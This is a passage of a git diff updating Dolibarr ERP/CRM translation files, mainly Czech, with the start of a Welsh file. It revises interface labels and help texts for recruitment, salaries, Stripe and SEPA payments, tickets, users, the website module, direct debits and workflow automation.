+RequestedRemuneration=Requested salary +ProposedRemuneration=Proposed salary ContractProposed=Contract proposed ContractSigned=Contract signed ContractRefused=Contract refused RecruitmentCandidature=Application JobPositions=Job positions RecruitmentCandidatures=Applications -InterviewToDo=Interview to do +InterviewToDo=Contacts to follow AnswerCandidature=Application answer YourCandidature=Your application YourCandidatureAnswerMessage=Thanks you for your application.
      ... @@ -74,3 +75,5 @@ JobClosedTextCanceled=The job position is closed. ExtrafieldsJobPosition=Complementary attributes (job positions) ExtrafieldsApplication=Complementary attributes (job applications) MakeOffer=Make an offer +WeAreRecruiting=We are recruiting. This is a list of open positions to be filled... +NoPositionOpen=No positions open at the moment diff --git a/htdocs/langs/cs_CZ/salaries.lang b/htdocs/langs/cs_CZ/salaries.lang index 06a31c700c0..9ef5ab93164 100644 --- a/htdocs/langs/cs_CZ/salaries.lang +++ b/htdocs/langs/cs_CZ/salaries.lang @@ -1,6 +1,6 @@ # Dolibarr language file - Source file is en_US - salaries -SALARIES_ACCOUNTING_ACCOUNT_PAYMENT=Účtovací účet používaný pro třetí strany -SALARIES_ACCOUNTING_ACCOUNT_PAYMENT_Desc=Účelový účet určený na uživatelské kartě bude použit pouze pro účetnictví společnosti Subledger. Ten bude použit pro hlavní knihu a jako výchozí hodnota účtování společnosti Subledger, pokud není určen uživatelský účtovací účet pro uživatele. +SALARIES_ACCOUNTING_ACCOUNT_PAYMENT=Account (from the Chart of Account) used by default for "user" third parties +SALARIES_ACCOUNTING_ACCOUNT_PAYMENT_Desc=The dedicated account defined on user card will be used for Subledger accounting only. This one will be used for General Ledger and as default value of Subledger accounting if dedicated user accounting account on user is not defined. SALARIES_ACCOUNTING_ACCOUNT_CHARGE=Účtovací účet je výchozí pro mzdové platby CREATE_NEW_SALARY_WITHOUT_AUTO_PAYMENT=By default, leave empty the option "Automatically create a total payment" when creating a Salary Salary=Mzda @@ -24,3 +24,4 @@ SalariesStatistics=Statistika platů SalariesAndPayments=Platy a platby ConfirmDeleteSalaryPayment=Do you want to delete this salary payment ? FillFieldFirst=Fill employee field first +UpdateAmountWithLastSalary=Set amount with last salary diff --git a/htdocs/langs/cs_CZ/stripe.lang b/htdocs/langs/cs_CZ/stripe.lang index dfc420fc999..7c2cb64cd34 100644 --- a/htdocs/langs/cs_CZ/stripe.lang +++ b/htdocs/langs/cs_CZ/stripe.lang @@ -41,7 +41,8 @@ STRIPE_LIVE_WEBHOOK_KEY=Webhook live klíč ONLINE_PAYMENT_WAREHOUSE=Sklad, který se má použít k poklesu akcií, když je hotovo on-line platba
      (TODO Pokud se volba k poklesu zásob uskuteční na akci na faktuře a on-line platba vygeneruje fakturu?) StripeLiveEnabled=Stripe live povoleno (jinak testovací režim / režim sandbox) StripeImportPayment=Platby importu Stripe -ExampleOfTestCreditCard=Příklad kreditní karty pro test: %s (platný), %s (chyba CVC), %s (uplynula), %s (poplatek selže) +ExampleOfTestCreditCard=Example of credit card for SEPA test: %s => valid, %s => error CVC, %s => expired, %s => charge fails +ExampleOfTestBankAcountForSEPA=Example of bank account BAN for direct debit test: %s StripeGateways=Brána Stripe OAUTH_STRIPE_TEST_ID=Připojení klienta Stripe Connect (ca _...) OAUTH_STRIPE_LIVE_ID=Připojení klienta Stripe Connect (ca _...) @@ -61,6 +62,7 @@ DeleteACard=Smazat kartu ConfirmDeleteCard=Opravdu chcete tuto kreditní nebo debetní kartu smazat? CreateCustomerOnStripe=Vytvořte zákazníka na Stripe CreateCardOnStripe=Vytvořte kartu na Stripe +CreateBANOnStripe=Create bank on Stripe ShowInStripe=Zobrazit ve Stripe StripeUserAccountForActions=Uživatelský účet, který se má používat pro e-mailové upozornění na některé události Stripe (Stripe výplaty) StripePayoutList=Seznam páskových výplat @@ -69,3 +71,8 @@ ToOfferALinkForLiveWebhook=Odkaz na nastavení Stripe WebHook pro volání IPN ( PaymentWillBeRecordedForNextPeriod=Platba bude zaznamenána pro další období. ClickHereToTryAgain= Klikněte zde a zkuste to znovu ... CreationOfPaymentModeMustBeDoneFromStripeInterface=Vzhledem k přísným pravidlům pro ověřování zákazníků musí být karta vytvořena z backoffice Stripe. Klepnutím sem zapnete záznam zákazníka Stripe: %s +STRIPE_CARD_PRESENT=Card Present for Stripe Terminals +TERMINAL_LOCATION=Location (address) for Stripe Terminals +RequestDirectDebitWithStripe=Request Direct Debit with Stripe +STRIPE_SEPA_DIRECT_DEBIT=Enable the Direct Debit payments through Stripe + diff --git a/htdocs/langs/cs_CZ/ticket.lang b/htdocs/langs/cs_CZ/ticket.lang index 5994bc6752a..93a2528ce94 100644 --- a/htdocs/langs/cs_CZ/ticket.lang +++ b/htdocs/langs/cs_CZ/ticket.lang @@ -26,7 +26,9 @@ Permission56002=Změnit vstupenky Permission56003=Smazat vstupenky Permission56004=Správa vstupenek Permission56005=Viz vstupenky všech subjektů (neplatí pro externí uživatele, vždy se omezují na subjekt, na který se vztahují) +Permission56006=Export tickets +Tickets=Vstupenky TicketDictType=Vstupenka - Typy TicketDictCategory=Vstupenka - skupiny TicketDictSeverity=Vstupenka - závažnosti @@ -60,6 +62,8 @@ TypeContact_ticket_external_CONTRIBUTOR=Externí přispěvatel OriginEmail=Reporter Email Notify_TICKET_SENTBYMAIL=Odeslat e-mailem zprávu o lince +ExportDataset_ticket_1=Vstupenky + # Status Read=Číst Assigned=Přidělené @@ -90,8 +94,8 @@ TicketPublicAccess=Veřejné rozhraní nevyžadující identifikaci je k dispozi TicketSetupDictionaries=Typ vstupenky, závažnosti a analytické kódy lze konfigurovat ze slovníků TicketParamModule=Nastavení proměnné modulu TicketParamMail=Nastavení e-mailu -TicketEmailNotificationFrom=Sender e-mail for ticket answers -TicketEmailNotificationFromHelp=Sender e-mail for ticket answers sent from Dolibarr +TicketEmailNotificationFrom=Sender e-mail for notification on answers +TicketEmailNotificationFromHelp=Sender e-mail to use to send the notification email when an answer is provided inside the backoffice. For example noreply@example.com TicketEmailNotificationTo=Notify ticket creation to this e-mail address TicketEmailNotificationToHelp=If present, this e-mail address will be notified of a ticket creation TicketNewEmailBodyLabel=Textová zpráva odeslaná po vytvoření vstupenky @@ -99,6 +103,8 @@ TicketNewEmailBodyHelp=Zde zadaný text bude vložen do e-mailu s potvrzením vy TicketParamPublicInterface=Nastavení veřejného rozhraní TicketsEmailMustExist=Chcete-li vytvořit letenku, požadujte existující e-mailovou adresu TicketsEmailMustExistHelp=Ve veřejném rozhraní musí být e-mailová adresa již vyplněna v databázi, aby se vytvořil nový lístek +TicketCreateThirdPartyWithContactIfNotExist=Ask name and company name for unknown emails. +TicketCreateThirdPartyWithContactIfNotExistHelp=Check if a thirdparty or a contact exists for the email entered. If not, ask a name and a company name to create a third party with contact. PublicInterface=Veřejné rozhraní TicketUrlPublicInterfaceLabelAdmin=Alternativní adresa URL pro veřejné rozhraní TicketUrlPublicInterfaceHelpAdmin=Je možné definovat alias na webovém serveru a zpřístupnit tak veřejné rozhraní s jinou adresou URL (server musí na této nové adrese URL fungovat jako proxy server) @@ -147,6 +153,8 @@ TicketsAutoNotifyCloseHelp=When closing a ticket, you will be proposed to send a TicketWrongContact=Provided contact is not part of current ticket contacts. Email not sent. TicketChooseProductCategory=Product category for ticket support TicketChooseProductCategoryHelp=Select the product category of ticket support. This will be used to automatically link a contract to a ticket. +TicketUseCaptchaCode=Use graphical code (CAPTCHA) when creating a ticket +TicketUseCaptchaCodeHelp=Adds CAPTCHA verification when creating a new ticket. # # Index & list page @@ -190,8 +198,7 @@ TicketAssigned=Vstupenka je nyní přiřazena TicketChangeType=Změnit typ TicketChangeCategory=Změňte analytický kód TicketChangeSeverity=Změnit závažnost -TicketAddMessage=přidat zprávu -AddMessage=přidat zprávu +TicketAddMessage=Add private message MessageSuccessfullyAdded=Přidána vstupenka TicketMessageSuccessfullyAdded=Zpráva byla úspěšně přidána TicketMessagesList=Seznam zpráv @@ -202,8 +209,8 @@ TicketSeverity=Vážnost ShowTicket=Viz lístek RelatedTickets=Související vstupenky TicketAddIntervention=Vytvořit intervenci -CloseTicket=Close|Solve ticket -AbandonTicket=Abandon ticket +CloseTicket=Close|Solve +AbandonTicket=Abandon CloseATicket=Close|Solve a ticket ConfirmCloseAticket=Potvrďte uzavření lístku ConfirmAbandonTicket=Do you confirm the closing of the ticket to status 'Abandonned' @@ -217,18 +224,17 @@ SendMessageByEmail=Poslat zprávu e-mailem TicketNewMessage=Nová zpráva ErrorMailRecipientIsEmptyForSendTicketMessage=Příjemce je prázdný. Neposílat žádné e-maily TicketGoIntoContactTab=Přejděte na kartu Kontakty a vyberte je -TicketMessageMailIntro=Úvod +TicketMessageMailIntro=Message header TicketMessageMailIntroHelp=Tento text bude přidán pouze na začátek e-mailu a nebude uložen. -TicketMessageMailIntroLabelAdmin=Introduction text to all ticket answers TicketMessageMailIntroText=Hello,
      A new answer has been added to a ticket that you follow. Here is the message:
      TicketMessageMailIntroHelpAdmin=This text will be inserted before the answer when replying to a ticket from Dolibarr -TicketMessageMailSignature=Podpis -TicketMessageMailSignatureHelp=Tento text je přidán pouze na konci e-mailu a nebude uložen. -TicketMessageMailSignatureText=Message sent by %s via Dolibarr -TicketMessageMailSignatureLabelAdmin=Podpis e-mailu s odpovědí -TicketMessageMailSignatureHelpAdmin=Tento text bude vložen za zprávu s odpovědí. +TicketMessageMailFooter=Message footer +TicketMessageMailFooterHelp=This text is added only at the end of the message sent by email and will not be saved. +TicketMessageMailFooterText=Message sent by %s via Dolibarr +TicketMessageMailFooterHelpAdmin=Tento text bude vložen za zprávu s odpovědí. TicketMessageHelp=Pouze tento text bude uložen do seznamu zpráv na kartě lístků. TicketMessageSubstitutionReplacedByGenericValues=Substituční proměnné jsou nahrazeny obecnými hodnotami. +ForEmailMessageWillBeCompletedWith=For email messages sent to external users, the message will be completed with TimeElapsedSince=Čas uplynul od TicketTimeToRead=Čas uplynul před čtením TicketTimeElapsedBeforeSince=Time elapsed before / since @@ -239,6 +245,7 @@ TicketMessageMailIntroAutoNewPublicMessage=Nová zpráva byla zveřejněna na l TicketAssignedToYou=Lístek přiřazen TicketAssignedEmailBody=Byl vám přidělen lístek # %s by %s MarkMessageAsPrivate=Označit zprávu jako soukromou +TicketMessageSendEmailHelp=An email will be sent to all assigned contact (internal contacts, but also external contacts except if the option "%s" is checked) TicketMessagePrivateHelp=Tato zpráva se nezobrazí externím uživatelům TicketEmailOriginIssuer=Emitent při vzniku jízdenek InitialMessage=Počáteční zpráva @@ -294,7 +301,7 @@ TicketNewEmailBodyInfosTrackUrlCustomer=Průběh vstupenky můžete zobrazit v k TicketCloseEmailBodyInfosTrackUrlCustomer=You can consult the history of this ticket by clicking the following link TicketEmailPleaseDoNotReplyToThisEmail=Neodpovídejte prosím přímo na tento e-mail! Pomocí odkazu odpovíte do rozhraní. TicketPublicInfoCreateTicket=Tento formulář vám umožňuje zaznamenat si lístek podpory v našem systému řízení. -TicketPublicPleaseBeAccuratelyDescribe=Popište prosím problém přesně. Poskytněte co nejvíce informací, abychom mohli správně identifikovat váš požadavek. +TicketPublicPleaseBeAccuratelyDescribe=Please accurately describe your question. Provide the most information possible to allow us to correctly identify your request. TicketPublicMsgViewLogIn=Zadejte ID sledování trasy TicketTrackId=ID veřejného sledování OneOfTicketTrackId=Jedno z vašich ID sledování diff --git a/htdocs/langs/cs_CZ/users.lang b/htdocs/langs/cs_CZ/users.lang index ac1ac080612..2ac189e660f 100644 --- a/htdocs/langs/cs_CZ/users.lang +++ b/htdocs/langs/cs_CZ/users.lang @@ -47,7 +47,7 @@ RemoveFromGroup=Odstranit ze skupiny PasswordChangedAndSentTo=Heslo změněno a poslán na %s. PasswordChangeRequest=Požadavek na změnu hesla pro %s PasswordChangeRequestSent=Žádost o změnu hesla %s zaslána na %s. -IfLoginExistPasswordRequestSent=Pokud je toto přihlášení platným účtem, byl zaslán e-mail k obnovení hesla. +IfLoginExistPasswordRequestSent=If this login is a valid account (with a valid email), an email to reset password has been sent. IfEmailExistPasswordRequestSent=Pokud je tento e-mail platným účtem, byl zaslán e-mail k obnovení hesla. ConfirmPasswordReset=Potvrďte resetování hesla MenuUsersAndGroups=Uživatelé a skupiny @@ -66,9 +66,9 @@ LinkedToDolibarrUser=Link to user LinkedToDolibarrThirdParty=Link to third party CreateDolibarrLogin=Vytvoření uživatele CreateDolibarrThirdParty=Vytvořit třetí stranu -LoginAccountDisableInDolibarr=Účet byl zakázán v Dolibarr. +LoginAccountDisableInDolibarr=Account disabled in Dolibarr +PASSWORDInDolibarr=Password modified in Dolibarr UsePersonalValue=Používejte osobní hodnotu -InternalUser=Interní uživatel ExportDataset_user_1=Uživatelé a jejich vlastnosti DomainUser=Doménový uživatel %s Reactivate=Reaktivace @@ -128,3 +128,8 @@ DateLastLogin=Date last login DatePreviousLogin=Date previous login IPLastLogin=IP last login IPPreviousLogin=IP previous login +ShowAllPerms=Show all permission rows +HideAllPerms=Hide all permission rows +UserPublicPageDesc=You can enable a virtual card for this user. An url with the user profile and a barcode will be available to allow anybody with a smartphone to scan it and add your contact to its address book. +EnablePublicVirtualCard=Enable the public virtual user card +PublicVirtualCardUrl=Public virtual user card diff --git a/htdocs/langs/cs_CZ/website.lang b/htdocs/langs/cs_CZ/website.lang index a5c50c6b52a..f4e5557457d 100644 --- a/htdocs/langs/cs_CZ/website.lang +++ b/htdocs/langs/cs_CZ/website.lang @@ -1,5 +1,6 @@ # Dolibarr language file - Source file is en_US - website Shortname=Kód +WebsiteName=Name of the website WebsiteSetupDesc=Vytvořte zde webové stránky, které chcete používat. Poté přejděte do nabídky Webové stránky a upravte je. DeleteWebsite=Odstranit web ConfirmDeleteWebsite=Opravdu chcete tento web odstranit? Všechny její stránky a obsah budou také odstraněny. Nahrané soubory (jako do adresáře médií, modul ECM, ...) zůstanou. @@ -15,9 +16,9 @@ WEBSITE_HTML_HEADER=Přidání v dolní části hlavičky HTML (společné pro v WEBSITE_ROBOT=Soubor pro roboty (soubor robots.txt) WEBSITE_HTACCESS=Soubor .htaccess WEBSITE_MANIFEST_JSON=Soubor manifest.json webové stránky -WEBSITE_README=Soubor README.md WEBSITE_KEYWORDSDesc=Hodnoty oddělte čárkou -EnterHereLicenseInformation=Sem zadejte metadata nebo licenční informace a vyplňte soubor README.md. Pokud distribuujete svůj web jako šablonu, bude soubor zahrnut do temptátového balíčku. +EnterHereReadmeInformation=Enter here a description of the website. If you distribute your website as a template, the file will be included into the temptate package. +EnterHereLicenseInformation=Enter here the LICENSE of the code of the website. If you distribute your website as a template, the file will be included into the temptate package. HtmlHeaderPage=Záhlaví HTML (pouze pro tuto stránku) PageNameAliasHelp=Název nebo alias stránky.
      Tento alias je také používán k vytvoření adresy URL při běhu webových stránek z virtuálního hostitele webového serveru (jako Apacke, Nginx, ...). Pomocí tlačítka " %s " upravte tento alias. EditTheWebSiteForACommonHeader=Poznámka: Pokud chcete definovat osobní hlavičku pro všechny stránky, upravte záhlaví na úrovni webu namísto na stránce / kontejneru. @@ -42,10 +43,12 @@ ViewPageInNewTab=Zobrazit stránku v nové kartě SetAsHomePage=Nastavit jako domovskou stránku RealURL=real URL ViewWebsiteInProduction=Pohled webové stránky s použitím domácí adresy URL +Virtualhost=Virtual host or domain name +VirtualhostDesc=The name of the Virtual host or domain (For example: www.mywebsite.com, mybigcompany.net, ...) SetHereVirtualHost= Použit Apache / Nginx / ...
      vytvořit na svůj webový server (Apache, Nginx, ...) a vyhrazený virtuálního hostitele s PHP povoleno a Kořenový adresář na
      %s ExampleToUseInApacheVirtualHostConfig=Příklad použití v nastavení virtuálního hostitele Apache: YouCanAlsoTestWithPHPS=  Použití s vloženým serverem PHP
      Při vývoji prostředí můžete upřednostňovat testování webu pomocí integrovaného webového serveru PHP (PHP 5.5 vyžadováno) spuštěním
      php -S 0.0.0.0:8080 -t %s -YouCanAlsoDeployToAnotherWHP= Provozujte svůj web s jiným poskytovatelem hostingu Dolibarr
      Pokud nemáte webový server jako Apache nebo NGinx dostupný na internetu, můžete exportovat a importovat webový server na jinou instanci Dolibarr poskytovanou jiným poskytovatelem hostingu Dolibarr. integrace s modulem webových stránek. Seznam některých poskytovatelů hostingu Dolibarr najdete na https://saas.dolibarr.org +YouCanAlsoDeployToAnotherWHP=Run your web site with another Dolibarr Hosting provider
      If you don't have a web server like Apache or NGinx available on internet, you can export and import your web site onto another Dolibarr instance provided by another Dolibarr hosting provider that provide full integration with the Website module. You can find a list of some Dolibarr hosting providers on https://saas.dolibarr.org CheckVirtualHostPerms=Check also that the virtual host user (for example www-data) has %s permissions on files into
      %s ReadPerm=Číst WritePerm=Zápis @@ -60,7 +63,7 @@ YouCanEditHtmlSourceckeditor=Zdrojový kód HTML můžete upravit pomocí tlač YouCanEditHtmlSource=
      You can include PHP code into this source using tags <?php ?>. The following global variables are available: $conf, $db, $mysoc, $user, $website, $websitepage, $weblangs, $pagelangs.

      You can also include content of another Page/Container with the following syntax:
      <?php includeContainer('alias_of_container_to_include'); ?>

      You can make a redirect to another Page/Container with the following syntax (Note: do not output any content before a redirect):
      <?php redirectToContainer('alias_of_container_to_redirect_to'); ?>

      To add a link to another page, use the syntax:
      <a href="alias_of_page_to_link_to.php">mylink<a>

      To include a link to download a file stored into the documents directory, use the document.php wrapper:
      Example, for a file into documents/ecm (need to be logged), syntax is:
      <a href="/document.php?modulepart=ecm&file=[relative_dir/]filename.ext">
      For a file into documents/medias (open directory for public access), syntax is:
      <a href="/document.php?modulepart=medias&file=[relative_dir/]filename.ext">
      For a file shared with a share link (open access using the sharing hash key of file), syntax is:
      <a href="/document.php?hashp=publicsharekeyoffile">

      To include an image stored into the documents directory, use the viewimage.php wrapper:
      Example, for an image into documents/medias (open directory for public access), syntax is:
      <img src="/viewimage.php?modulepart=medias&file=[relative_dir/]filename.ext">
      #YouCanEditHtmlSource2=
      To include a image shared publicaly, use the viewimage.php wrapper:
      Example with a shared key 123456789, syntax is:
      <img src="/viewimage.php?hashp=12345679012...">
      YouCanEditHtmlSource2=Pro obraz sdílený pomocí sdíleného odkazu (otevřený přístup pomocí klíče sdílení hash souboru) je syntaxe:
      <img src="/viewimage.php?hashp=12345679012...">
      -YouCanEditHtmlSourceMore=
      Další příklady HTML nebo dynamického kódu jsou k dispozici na wiki dokumentaci
      . +YouCanEditHtmlSourceMore=
      More examples of HTML or dynamic code available on the wiki documentation
      . ClonePage=Klonovat stránku / kontejner CloneSite=Kopie stránky SiteAdded=Webová stránka byla přidána @@ -137,7 +140,7 @@ PagesRegenerated=%s regenerováno stránky / kontejnery RegenerateWebsiteContent=Regenerate web site cache files AllowedInFrames=Allowed in Frames DefineListOfAltLanguagesInWebsiteProperties=Define list of all available languages into web site properties. -GenerateSitemaps=Generate website sitemap file +GenerateSitemaps=Generate website sitemap.xml file ConfirmGenerateSitemaps=If you confirm, you will erase the existing sitemap file... ConfirmSitemapsCreation=Confirm sitemap generation SitemapGenerated=Sitemap file %s generated @@ -145,3 +148,10 @@ ImportFavicon=Favicon ErrorFaviconType=Favicon must be png ErrorFaviconSize=Favicon must be sized 16x16, 32x32 or 64x64 FaviconTooltip=Upload an image which needs to be a png (16x16, 32x32 or 64x64) +NextContainer=Next page/container +PreviousContainer=Previous page/container +WebsiteMustBeDisabled=The website must have the status "%s" +WebpageMustBeDisabled=The web page must have the status "%s" +SetWebsiteOnlineBefore=When website is offline, all pages are offline. Change status of website first. +Booking=Booking +Reservation=Reservation diff --git a/htdocs/langs/cs_CZ/withdrawals.lang b/htdocs/langs/cs_CZ/withdrawals.lang index 53775d8a6f1..ee329984fbf 100644 --- a/htdocs/langs/cs_CZ/withdrawals.lang +++ b/htdocs/langs/cs_CZ/withdrawals.lang @@ -31,8 +31,9 @@ SupplierInvoiceWaitingWithdraw=Faktura dodavatele čekající na platbu převode InvoiceWaitingWithdraw=Faktura čeká na inkaso InvoiceWaitingPaymentByBankTransfer=Faktura čeká na převod peněz AmountToWithdraw=Částka výběru +AmountToTransfer=Amount to transfer NoInvoiceToWithdraw=Neexistuje žádná otevřená faktura pro „%s“. Na kartě faktury přejděte na kartu „%s“ a požádejte o ni. -NoSupplierInvoiceToWithdraw=Čeká dodavatelská faktura s otevřeným „přímým požadavkem na kredit“. Na kartě faktury přejděte na kartu „%s“ a požádejte o ni. +NoSupplierInvoiceToWithdraw=No supplier invoice with open '%s' is waiting. Go on tab '%s' on invoice card to make a request. ResponsibleUser=Odpovědný uživatel WithdrawalsSetup=Nastavení platby inkasem CreditTransferSetup=Nastavení úhrady @@ -41,6 +42,7 @@ CreditTransferStatistics=Statistiky převodů Rejects=Odmítnuto LastWithdrawalReceipt=Poslední %s přímého inkasa debetní MakeWithdrawRequest=Zadejte žádost o platbu inkasem +MakeWithdrawRequestStripe=Make a direct debit payment request via Stripe MakeBankTransferOrder=Proveďte žádost o převod WithdrawRequestsDone=%s zaznamenané žádosti o inkaso BankTransferRequestsDone=%s credit transfer requests recorded @@ -99,8 +101,11 @@ CreditDate=Kredit na WithdrawalFileNotCapable=Nelze generovat soubor výběru příjmu pro vaši zemi %s (Vaše země není podporována) ShowWithdraw=Zobrazit příkaz k inkasu IfInvoiceNeedOnWithdrawPaymentWontBeClosed=Pokud však na faktuře dosud nebyl zpracován alespoň jeden příkaz k inkasu, nebude nastavena jako zaplacená, aby bylo možné provést předchozí výběr. -DoStandingOrdersBeforePayments=Na této kartě můžete požádat o příkaz k inkasu. Po dokončení přejděte do nabídky Bank-> Platba inkasem a vygenerujte a spravujte příkaz k inkasu. Když je příkaz k inkasu uzavřen, platby na fakturách budou automaticky zaznamenány a faktury uzavřeny, pokud je zbývající částka k platbě nulová. -DoCreditTransferBeforePayments=Tato karta umožňuje vyžádat si příkaz k úhradě. Po dokončení přejděte do nabídky Bank-> Platba převodem, abyste vygenerovali a spravovali příkaz k úhradě. Když je příkaz k úhradě uzavřen, bude automaticky zaznamenána platba na fakturách a faktury uzavřeny, pokud je zbývající částka k platbě nulová. +DoStandingOrdersBeforePayments=This tab allows you to request a direct debit payment order. Once done, you can go into menu "Bank->Payment by direct debit" to generate and manage a Direct debit order file. +DoStandingOrdersBeforePayments2=You can also send a request directly to a SEPA payment processor like Stripe, ... +DoStandingOrdersBeforePayments3=When direct debit order is closed, payment on invoices will be automatically recorded, and invoices closed if remainder to pay is null. +DoCreditTransferBeforePayments=This tab allows you to request a credit transfer order. Once done, go into menu "Bank->Payment by credit transfer" to generate and manage a Credit transfer order file. +DoCreditTransferBeforePayments3=When credit transfer order is closed, payment on invoices will be automatically recorded, and invoices closed if remainder to pay is null. WithdrawalFile=Debit order file CreditTransferFile=Credit transfer file SetToStatusSent=Nastavte na stav "Odeslaný soubor" @@ -117,7 +122,7 @@ WithdrawRequestErrorNilAmount=Nelze vytvořit inkasa Žádost o prázdnou hodnot SepaMandate=Mandát přímého inkasa SEPA SepaMandateShort=SEPA Mandát PleaseReturnMandate=Prosím, vraťte tento mandát formulář poštou na adresu %s nebo poštou na adresu -SEPALegalText=By signing this mandate form, you authorize (A) %s to send instructions to your bank to debit your account and (B) your bank to debit your account in accordance with the instructions from %s. As part of your rights, you are entitled to a refund from your bank under the terms and conditions of your agreement with your bank. Your rights regarding the above mandate are explained in a statement that you can obtain from your bank. +SEPALegalText=By signing this mandate form, you authorize (A) %s and its payment service provider to send instructions to your bank to debit your account and (B) your bank to debit your account in accordance with the instructions from %s. As part of your rights, you are entitled to a refund from your bank under the terms and conditions of your agreement with your bank. Your rights regarding the above mandate are explained in a statement that you can obtain from your bank. CreditorIdentifier=Identifikátor věřitele CreditorName=Název věřitele SEPAFillForm=(B) Vyplňte prosím všechna pole označená * @@ -136,6 +141,7 @@ SEPAFRST=SEPA FRST ExecutionDate=Datum provedení CreateForSepa=Vytvořte soubor s inkasem ICS=Creditor Identifier - ICS +IDS=Debitor Identifier END_TO_END="EndToEndId" SEPA XML tag - jedinečný identifikátor přiřazený ke každé transakci USTRD="Nestrukturovaná" značka SEPA XML ADDDAYS=Přidání dnů do data provedení @@ -154,3 +160,4 @@ ErrorICSmissing=Missing ICS in Bank account %s TotalAmountOfdirectDebitOrderDiffersFromSumOfLines=Total amount of direct debit order differs from sum of lines WarningSomeDirectDebitOrdersAlreadyExists=Warning: There is already some pending Direct Debit orders (%s) requested for an amount of %s WarningSomeCreditTransferAlreadyExists=Warning: There is already some pending Credit Transfer (%s) requested for an amount of %s +UsedFor=Used for %s diff --git a/htdocs/langs/cs_CZ/workflow.lang b/htdocs/langs/cs_CZ/workflow.lang index 4348c679b87..df5523148a6 100644 --- a/htdocs/langs/cs_CZ/workflow.lang +++ b/htdocs/langs/cs_CZ/workflow.lang @@ -7,6 +7,7 @@ descWORKFLOW_PROPAL_AUTOCREATE_ORDER=Automatické vytvoření objednávky prodej descWORKFLOW_PROPAL_AUTOCREATE_INVOICE=Automaticky vytvořit zákaznickou fakturu po podpisu obchodního návrhu (nová faktura bude mít stejnou částku jako návrh) descWORKFLOW_CONTRACT_AUTOCREATE_INVOICE=Automaticky vytvoří zákaznickou faktury poté, co smlouva byla ověřena descWORKFLOW_ORDER_AUTOCREATE_INVOICE=Automaticky vytvořit zákaznickou fakturu po uzavření prodejní objednávky (nová faktura bude mít stejnou částku jako objednávka) +descWORKFLOW_TICKET_CREATE_INTERVENTION=On ticket creation, automatically create an intervention. # Autoclassify customer proposal or order descWORKFLOW_ORDER_CLASSIFY_BILLED_PROPAL=Zařadit návrh propojeného zdroje jako fakturovaný, když je objednávka prodeje nastavena na fakturaci (a pokud je výše objednávky shodná s celkovou částkou podepsaného propojeného návrhu) descWORKFLOW_INVOICE_CLASSIFY_BILLED_PROPAL=Zařadit návrh propojeného zdroje jako fakturovaný při potvrzení faktury zákazníka (a pokud je částka faktury shodná s celkovou částkou podepsaného propojeného návrhu) @@ -14,13 +15,22 @@ descWORKFLOW_INVOICE_AMOUNT_CLASSIFY_BILLED_ORDER=Zařadit propojenou prodejní descWORKFLOW_INVOICE_CLASSIFY_BILLED_ORDER=Zařadit propojenou prodejní objednávku jako fakturovanou, když je zákaznická faktura nastavena jako zaplacená (a pokud je částka faktury shodná s celkovou částkou propojené objednávky) descWORKFLOW_ORDER_CLASSIFY_SHIPPED_SHIPPING=Klasifikujte propojenou prodejní objednávku dodávanou při ověření zásilky (a pokud je množství odeslané všemi zásilkami stejné jako v aktualizovaném pořadí) descWORKFLOW_ORDER_CLASSIFY_SHIPPED_SHIPPING_CLOSED=Classify linked source sales order as shipped when a shipment is closed (and if the quantity shipped by all shipments is the same as in the order to update) -# Autoclassify purchase order +# Autoclassify purchase proposal descWORKFLOW_ORDER_CLASSIFY_BILLED_SUPPLIER_PROPOSAL=Označte návrh dodavatele propojeného zdroje jako fakturovaný při validaci dodavatele (a pokud je částka faktury shodná s celkovou částkou propojeného návrhu) +# Autoclassify purchase order descWORKFLOW_INVOICE_AMOUNT_CLASSIFY_BILLED_SUPPLIER_ORDER=Zařadit propojenou objednávku zdroje jako fakturovanou fakturaci dodavatele (a pokud je částka faktury shodná s celkovou částkou propojené objednávky) -descWORKFLOW_BILL_ON_RECEPTION=Po ověření objednávky propojeného dodavatele klasifikujte recepce na „účtované“ +descWORKFLOW_ORDER_CLASSIFY_RECEIVED_RECEPTION=Classify linked source purchase order as received when a reception is validated (and if the quantity received by all receptions is the same as in the purchase order to update) +descWORKFLOW_ORDER_CLASSIFY_RECEIVED_RECEPTION_CLOSED=Classify linked source purchase order as received when a reception is closed (and if the quantity received by all rceptions is the same as in the purchase order to update) +# Autoclassify purchase invoice +descWORKFLOW_EXPEDITION_CLASSIFY_CLOSED_INVOICE=Classify receptions to "billed" when a linked purchase invoice is validated (and if the amount of the invoice is the same as the total amount of the linked receptions) +# Automatically link ticket to contract +descWORKFLOW_TICKET_LINK_CONTRACT=When creating a ticket, link available contracts of matching thirdparty +descWORKFLOW_TICKET_USE_PARENT_COMPANY_CONTRACTS=When linking contracts, search among those of parents companies # Autoclose intervention descWORKFLOW_TICKET_CLOSE_INTERVENTION=Když je lístek uzavřen, ukončete všechny zásahy spojené s lístkem AutomaticCreation=Automatická tvorba AutomaticClassification=Automatická klasifikace # Autoclassify shipment -descWORKFLOW_SHIPPING_CLASSIFY_CLOSED_INVOICE=Classify linked source shipment as closed when customer invoice is validated +descWORKFLOW_SHIPPING_CLASSIFY_CLOSED_INVOICE=Classify linked source shipment as closed when customer invoice is validated (and if the amount of the invoice is the same as the total amount of the linked shipments) +AutomaticClosing=Automatic closing +AutomaticLinking=Automatic linking diff --git a/htdocs/langs/cy_GB/accountancy.lang b/htdocs/langs/cy_GB/accountancy.lang index 7ee1fd821b4..f7813cfe19c 100644 --- a/htdocs/langs/cy_GB/accountancy.lang +++ b/htdocs/langs/cy_GB/accountancy.lang @@ -14,8 +14,8 @@ ACCOUNTING_EXPORT_ENDLINE=Dewiswch y math dychwelyd cerbyd ACCOUNTING_EXPORT_PREFIX_SPEC=Nodwch y rhagddodiad ar gyfer enw'r ffeil ThisService=Y gwasanaeth hwn ThisProduct=Mae'r cynnyrch hwn -DefaultForService=Diofyn ar gyfer gwasanaeth -DefaultForProduct=Diofyn ar gyfer cynnyrch +DefaultForService=Default for services +DefaultForProduct=Default for products ProductForThisThirdparty=Cynnyrch ar gyfer y trydydd parti hwn ServiceForThisThirdparty=Gwasanaeth ar gyfer y trydydd parti hwn CantSuggest=Methu awgrymu @@ -59,6 +59,7 @@ MainAccountForSuppliersNotDefined=Prif gyfrif cyfrifo ar gyfer gwerthwyr heb ei MainAccountForUsersNotDefined=Prif gyfrif cyfrifo ar gyfer defnyddwyr heb ei ddiffinio yn y gosodiad MainAccountForVatPaymentNotDefined=Prif gyfrif cyfrifo ar gyfer taliad TAW heb ei ddiffinio yn y gosodiad 